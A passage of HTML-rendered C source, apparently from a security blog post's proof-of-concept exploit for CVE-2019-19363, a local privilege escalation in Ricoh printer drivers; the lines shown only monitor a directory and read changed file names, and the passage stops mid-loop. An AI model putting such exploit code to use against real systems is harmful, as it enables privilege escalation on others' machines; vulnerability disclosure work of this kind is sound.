&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-35"&gt;&lt;code data-line-number=" 35"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-35" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-35"&gt;&lt;/a&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;CHAR&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;lpBuffer&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;MAX_BUFFER&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-36"&gt;&lt;code data-line-number=" 36"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-36" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-36"&gt;&lt;/a&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;DWORD&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="n"&gt;dwBufLength&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-37"&gt;&lt;code data-line-number=" 37"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-37" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-37"&gt;&lt;/a&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;OVERLAPPED&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;Overlapped&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-38"&gt;&lt;code data-line-number=" 38"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-38" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-38"&gt;&lt;/a&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DIRECTORY_INFO&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;PDIRECTORY_INFO&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;LPDIRECTORY_INFO&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-39"&gt;&lt;code data-line-number=" 39"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-39" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-39"&gt;&lt;/a&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-40"&gt;&lt;code data-line-number=" 40"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-40" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-40"&gt;&lt;/a&gt;&lt;span class="n"&gt;DIRECTORY_INFO&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;DirInfo&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-41"&gt;&lt;code data-line-number=" 41"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-41" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-41"&gt;&lt;/a&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-42"&gt;&lt;code data-line-number=" 42"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-42" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-42"&gt;&lt;/a&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;WINAPI&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;HandleDirectoryChange&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;DWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dwCompletionPort&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-43"&gt;&lt;code data-line-number=" 43"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-43" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-43"&gt;&lt;/a&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;DWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;numBytes&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cbOffset&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-44"&gt;&lt;code data-line-number=" 44"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-44" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-44"&gt;&lt;/a&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;LPDIRECTORY_INFO&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;di&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-45"&gt;&lt;code data-line-number=" 45"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-45" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-45"&gt;&lt;/a&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;LPOVERLAPPED&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;lpOverlapped&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-46"&gt;&lt;code data-line-number=" 46"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-46" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-46"&gt;&lt;/a&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;PFILE_NOTIFY_INFORMATION&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;fni&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-47"&gt;&lt;code data-line-number=" 47"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-47" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-47"&gt;&lt;/a&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;WCHAR&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;FileName&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;MAX_PATH&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-48"&gt;&lt;code data-line-number=" 48"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-48" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-48"&gt;&lt;/a&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-49"&gt;&lt;code data-line-number=" 49"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-49" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-49"&gt;&lt;/a&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;do&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-50"&gt;&lt;code data-line-number=" 50"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-50" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-50"&gt;&lt;/a&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-51"&gt;&lt;code data-line-number=" 51"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-51" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-51"&gt;&lt;/a&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="n"&gt;GetQueuedCompletionStatus&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;HANDLE&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;dwCompletionPort&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;numBytes&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;LPDWORD&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;di&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;lpOverlapped&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;INFINITE&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-52"&gt;&lt;code data-line-number=" 52"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-52" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-52"&gt;&lt;/a&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-53"&gt;&lt;code data-line-number=" 53"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-53" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-53"&gt;&lt;/a&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;di&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-54"&gt;&lt;code data-line-number=" 54"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-54" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-54"&gt;&lt;/a&gt;&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="n"&gt;fni&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PFILE_NOTIFY_INFORMATION&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;di&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;lpBuffer&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-55"&gt;&lt;code data-line-number=" 55"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-55" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-55"&gt;&lt;/a&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-56"&gt;&lt;code data-line-number=" 56"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-56" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-56"&gt;&lt;/a&gt;&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="k"&gt;do&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-57"&gt;&lt;code data-line-number=" 57"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-57" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-57"&gt;&lt;/a&gt;&lt;span class="w"&gt;                                &lt;/span&gt;&lt;span class="n"&gt;cbOffset&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;fni&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;NextEntryOffset&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-58"&gt;&lt;code data-line-number=" 58"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-58" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-58"&gt;&lt;/a&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-59"&gt;&lt;code data-line-number=" 59"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-59" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-59"&gt;&lt;/a&gt;&lt;span class="w"&gt;                                &lt;/span&gt;&lt;span class="c1"&gt;// get filename&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-60"&gt;&lt;code data-line-number=" 60"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-60" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-60"&gt;&lt;/a&gt;&lt;span class="w"&gt;                                &lt;/span&gt;&lt;span class="kt"&gt;size_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;num_elem&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;fni&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;FileNameLength&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;sizeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;WCHAR&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-61"&gt;&lt;code data-line-number=" 61"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-61" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-61"&gt;&lt;/a&gt;&lt;span class="w"&gt;                                &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;num_elem&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;sizeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;FileName&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;sizeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;WCHAR&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;num_elem&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-62"&gt;&lt;code data-line-number=" 62"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-62" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-62"&gt;&lt;/a&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-63"&gt;&lt;code data-line-number=" 63"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-63" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-63"&gt;&lt;/a&gt;&lt;span class="w"&gt;                                &lt;/span&gt;&lt;span class="n"&gt;wcsncpy_s&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;FileName&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;sizeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;FileName&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="k"&gt;sizeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;WCHAR&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;fni&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;FileName&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;num_elem&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-64"&gt;&lt;code data-line-number=" 64"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-64" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-64"&gt;&lt;/a&gt;&lt;span class="w"&gt;                                &lt;/span&gt;&lt;span class="n"&gt;FileName&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;num_elem&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sc"&gt;'\0'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
